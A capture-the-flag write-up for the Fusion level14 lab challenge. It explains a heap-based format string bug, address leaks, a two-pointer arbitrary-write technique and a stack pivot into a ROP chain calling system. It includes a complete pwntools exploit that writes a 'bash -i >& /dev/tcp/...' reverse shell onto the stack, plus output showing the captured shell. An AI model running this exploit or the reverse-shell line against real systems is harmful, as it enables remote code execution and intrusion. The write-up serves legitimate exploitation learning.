- congratz ! we have reached the final fusion challenge .
- the author notes that is is a heap challenge , we have no source code , a blackbox ,and it is written in cpp as well , so we're in for a ride .
- the protections as stated by the author are as follows :
| Option | Setting |
|---|---|
| Vulnerability Type | Heap |
| Position Independent Executable | Yes |
| Read only relocations | No |
| Non-Executable stack | No |
| Non-Executable heap | No |
| Address Space Layout Randomisation | Yes |
| Source Fortification | No |
- however , running checksec on the binary , it sure has
NXand partialRELRO. - furthermore , technically this is not a "heap" challenge , this challenge's vulnearbility is a heap based format string , and if we call that "heap" then normal format strings should be classified "stack" , which they aren't , as we can see in previous challenges.
Analysis
- we have no source code , connecting to the binary and trying some common inputs (too long , formats) , this is obviously a format string , opening it in
idawith some call tracing confirms this :
(.text:000077EA)
...
message.msg_iov = (struct iovec *)&v17;
message.msg_iovlen = 1;
v6 = recvmsg(fd, &message, flags);
v10 = boost::system::system_category();
...
...
(.text:0000C1EC)
LABEL_18:
v12 = 0x10000;
v13 = snprintf(v7, 0x800u, (const char *)&a1->buff);
boost::system::system_category();
v14 = *(_DWORD *)a1;
...
- the program reads our input into the heap and gives that to
snprintfwithout sanitization , simple enough in concept .
Exploit strategy
ASLRandPIEare not a problem in this challenge , since the leaks we can get by the format string cover every memory region :
❯ nc 192.168.122.60 20014
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
0xb8e12a10.0xb786d700.(nil).0xbfe45250.0xb8e12a10.0xb786d700.(nil).0xb75ff2e3.0xb8e12a10.0xb786e0d0
- cross referencing this with the
vmmapdump ofpwndbgconfirms this , the fourth argument leaks a stack address that is always at a constant offset from the return address location , the sixth leaksPIEbase, and the eighth leakslibcbase ,, and that's all we shall need leak-wise.
the problem
- the hard thing about this is that since our inputs are in the heap , we cannot write our own pointers into the stack and use them to write with
%n, so we cannot do this the classic format string way , instead we will be writing our things-to-be-written in 2 byte chunks. - we also cannot write huge amounts with the format (the limit is 2048 , as in the code above).
- luckily we still have some hope , as scrolling through the stack and examining their contents , we have two addresses in the stack that themselves point to a stack address , this is ideal because when we have something like :
[stackaddr1(0xbfe4XXXX)] -> [stackaddr2 (0xbfe4YYYY)] -> somewhere in the stack
-
we can modify the lowest bytes of
stackaddr2(YYYY) to make it point anywhere between0xbfe40000and0xbfe4ffff, that's enough for anything we wanna do in the stack ie. modifiying the stored return address of a stack frame . -
we still need 2 pointer of this type , why ? ,because since we can write only 2bytes in a reliable way . let's say we wanna write
0xfeedbeefto the location0xffffaaaa, we should have two pointers , one pointing to the least significant bytesaaaaand the other toffff(the one pointing toaaaa+2 , simply) , and by using the two pointer combo to write 2 bytes each , we one shot the address construction in a single call tosnprintf.
ptr A → ptr B → target
ptr C → ptr D → target+2
-
this is useful because if we had only one such pointer , we could only modify half a pointer at a time , and doing that to something like the return pointer will result in crash before our second write goes through .
-
with this in hand , we practically have a
write-what-whereprimitive , next is to find a reliable way to turn this into a shell . -
the first thing that comes to mind is to either overwrite a got entry , or overwrite the return address with something like
systemand of course set the argument for it to execute a shell , the problem here is that placing the argument address and overwriting the return address requires two iterations of the mechanism that callssnprintf, and at each iterations anything we put in the argument location is overwritten , so we cannot do this . -
also overwriting an
earlierstack frame's return address doesn't work , the loop never exits at least not in a user influenced way -
we cannot overwrite a got entry either , since for some reason ,calls including the one to
snprintfdo not use thepltbut are called directly . -
the solution i found is to write my reverse shell command string , and the
rop chainthat callssysteminto a location up the stack that is practically untouched , and the pivoting the stack into that location using aadd esp,X ;retgadget , this works because we can one shot write the gadget address into the location of the return address , luckily i found this gadget :
0x00004ef5 add esp, 0x220; pop ebx; pop esi; pop edi; ret;
-
this will let us pivot the stack 560 bytes above the current return address , that area is untouched by our program the whole duration that we are doing this .
-
so what we should do is implement a way to do a
wwwusing the double pointer method i described above , and using that to : - construct our reverse shell command in the stack (we know its address by the leaks)
- write the rop chain that calls system with our command 260 bytes above the location of the return address, this is like :
[system_addr][exit_addr][reverse_shell_command_addr] - overwrite the return address with the address of the gadget we found , so at return the program executes our chain
-
profit !
-
the stack at control flow hijack time would look like :
HIGH ADDRESSES
┌──────────────────────────────┐
+0x23C │ "sh\x00...." │
├──────────────────────────────┤
+0x238 │ "/tcp/XXXX" │
├──────────────────────────────┤
+0x234 │ "/dev/..." │
├──────────────────────────────┤
+0x230 │ " >& ..." │
├──────────────────────────────┤
+0x22C │ "-i &..." │
├──────────────────────────────┤
+0x228 │ "bash" │
├──────────────────────────────┤
+0x224 │ &("bash -i >& /dev/...") │ ← argument to system
├──────────────────────────────┤
+0x220 │ exit@libc │
├──────────────────────────────┤
+0x21C │ system@libc │ ← ROP entry
├──────────────────────────────┤
│ │
│ .... other frames │
│ │
├──────────────────────────────┤
ret+0x00│ pivot gadget │
└──────────────────────────────┘
LOW ADDRESSES
The exploit
- note : i reserve connection in bulk for each
wwwoperation before writing anything , this is because of two reason: - connections proved unreliable for 2+ writes
- opening a connection after already doing some write often crashes the program
- this way i found it to work with a 100% reliability , instead of around 80% i used to get with two writes per connection
- enough talk , the exploit :
#!/usr/bin/python3
from pwn import *
context.log_level='critical'
#network stuff
serverip = 'redacted'
my_local_ip = 'redacted'
port = 20014
shell_port = 1337
reverse_shell = b'bash -i >& /dev/tcp/'+my_local_ip.encode()+f'/{shell_port}'.encode()+b' <&1\n'
'''padding to be 4 bytes aligned,
essatial otherwise we could have
the last bytes not written'''
reverse_shell += b'\x00' *(len(reverse_shell) % 4)
processarr = ['nc','-v',"-lp" ,str(shell_port)]
shell = process(processarr)
#to dynamically compute addresses
libcelf = ELF('./libc.so.6')
level14elf = ELF('./level14')
#offsets
pivot = 0x00004ef5# add esp, 0x220; pop ebx; pop esi; pop edi; ret;
ret_addr_leak_offset = 388
pieleak_base_offset = 46848
libcleak_base_offset = 455395
#argument position of stack pointers to stack pointer
#these are key for this attack
stktostk_1 = 135
stktostk_2 = stktostk_1 + 92
#facilities and tooling
def testshell(p):
print ("[i] testing reverse shell")
p.sendline(b'echo congratz?\n')
resp = p.recvuntil(b'congratz?',timeout=10)
if b'congratz' in resp :
print("\ncongratz!\n")
p.interactive()
return
print("\nno shell !\n")
return
def parseleak(leak):
for match in re.finditer(b'0x[0-9a-fA-F]+', leak):
addr = int(match.group(), 16)
if addr :
return addr
def nth_formatleak(n,p):
p.send(f'%{n}$p\n'.encode())
leak = p.recv(10)
#flush
p.recv()
leak = parseleak(leak)
return leak
def fmt_write_2bytes_at(written_count,arg_num,value) :
#rounding , since we'll write only two byte
needtowrite = (value - (written_count & 0xffff)) & 0xffff
#for debug
# print (f"[i] writing byte : {hex(value)}")
# print (f"[i] written so far : {hex(written_count)}")
# print (f"[i] need to write : {hex(needtowrite)}\n")
write_needed = f"%{needtowrite}c".encode()
fmt = bytearray()
fmt += write_needed
fmt += f"%{arg_num}$hn".encode()
return fmt
def write_array(writes) :
written = 0
payload = bytearray()
for write2bytes in writes :
payload += fmt_write_2bytes_at(written,write2bytes[1],write2bytes[0])
written_now = (write2bytes[0] - (written & 0xffff)) & 0xffff
written += written_now
return payload
def www(addr,value,k1,k2) :
print(f"[!] writing {hex(value)} to {hex(addr)}")
addr_low2bytes = addr & 0xffff
value_low2bytes = value & 0xffff
value_high2bytes = value >> 16
addrwrites = [
(addr_low2bytes ,stktostk_1),
(addr_low2bytes + 2 ,stktostk_2)
]
writes = [
(value_low2bytes,low),
(value_high2bytes,high)
]
payload = write_array(addrwrites)
k1.send(payload)
payload = write_array(writes)
k2.send(payload)
return
#sockets become unstable after one www operation
#so we just reserve one for each , proved much more reliable
#reserving them after any single www occured will crash
socketarr1 = []
for i in range(4):
k1 = remote(serverip,port)
k2 = remote(serverip,port)
socketarr1.append(k1)
socketarr1.append(k2)
#these are specifically for writing the reverse_shell command string
socketarr = []
for i in range(len(reverse_shell)//4):
k1 = remote(serverip,port)
k2 = remote(serverip,port)
socketarr.append(k1)
socketarr.append(k2)
#getting leaks
p = remote(serverip,port)
stackleak = nth_formatleak(4,p)
retaddr_addr = stackleak - ret_addr_leak_offset
retaddr_addr_lower2bytes = retaddr_addr & 0xffff
print(f"[!] stack retaddr position : {hex(retaddr_addr)}")
pie_leak = nth_formatleak(6,p)
level14elf.address = pie_leak - pieleak_base_offset
print(f"[!] pie base : {hex(level14elf.address)}")
libc_leak = nth_formatleak(8,p)
libcelf.address = libc_leak - libcleak_base_offset
print(f"[!] libc base : {hex(libcelf.address)}")
system_libc = libcelf.symbols['system']
exit_libc = libcelf.symbols['exit']
'''arg position of the pointer to the
lower two bytes of the target of www'''
low = 138
'''arg position of the pointer to the
higher two bytes of the target of www'''
high = low + 125
fake_stack_location = retaddr_addr + 560
pivot_gadget_location = pivot + level14elf.address
#writing rop chain
www(fake_stack_location ,system_libc,socketarr1[0],socketarr1[1])
www(fake_stack_location +4,exit_libc,socketarr1[2],socketarr1[3])
www(fake_stack_location +8,retaddr_addr+572,socketarr1[4],socketarr1[5])
#writing reverse_shell command string
for i in range(len(reverse_shell)//4):
slice = reverse_shell[i*4:(i+1)*4]
slice_int = u32(slice)
www(fake_stack_location +12+i*4,slice_int,socketarr[i*2],socketarr[i*2+1])
#overwriting ret to pivot gadget
www(retaddr_addr,pivot_gadget_location,socketarr1[6],socketarr1[7])
#congratz
testshell(shell)
testing this :
❯ ./level14_exploit.py
[!] stack retaddr position : 0xbf999b5c
[!] pie base : 0xb7810000
[!] libc base : 0xb753e000
[!] writing 0xb757ab20 to 0xbf999d8c
[!] writing 0xb75709e0 to 0xbf999d90
[!] writing 0xbf999d98 to 0xbf999d94
[!] writing 0x68736162 to 0xbf999d98
[!] writing 0x20692d20 to 0xbf999d9c
[!] writing 0x2f20263e to 0xbf999da0
[!] writing 0x2f766564 to 0xbf999da4
[!] writing 0x2f706374 to 0xbf999da8
[!] writing 0x2e323931 to 0xbf999dac
[!] writing 0x2e383631 to 0xbf999db0
[!] writing 0x2e323231 to 0xbf999db4
[!] writing 0x33312f31 to 0xbf999db8
[!] writing 0x3c203733 to 0xbf999dbc
[!] writing 0xa3126 to 0xbf999dc0
[!] writing 0xb7814ef5 to 0xbf999b5c
[i] testing reverse shell
congratz!
congratz?
\x1b]0;I have no name!@fusion: /\x07I have no name!@fusion:/$
\x1b]0;I have no name!@fusion: /\x07I have no name!@fusion:/$ $ bash
bash
$ ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
media
mnt
opt
proc
rofs
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ whoami
whoami: cannot find name for user ID 20014
$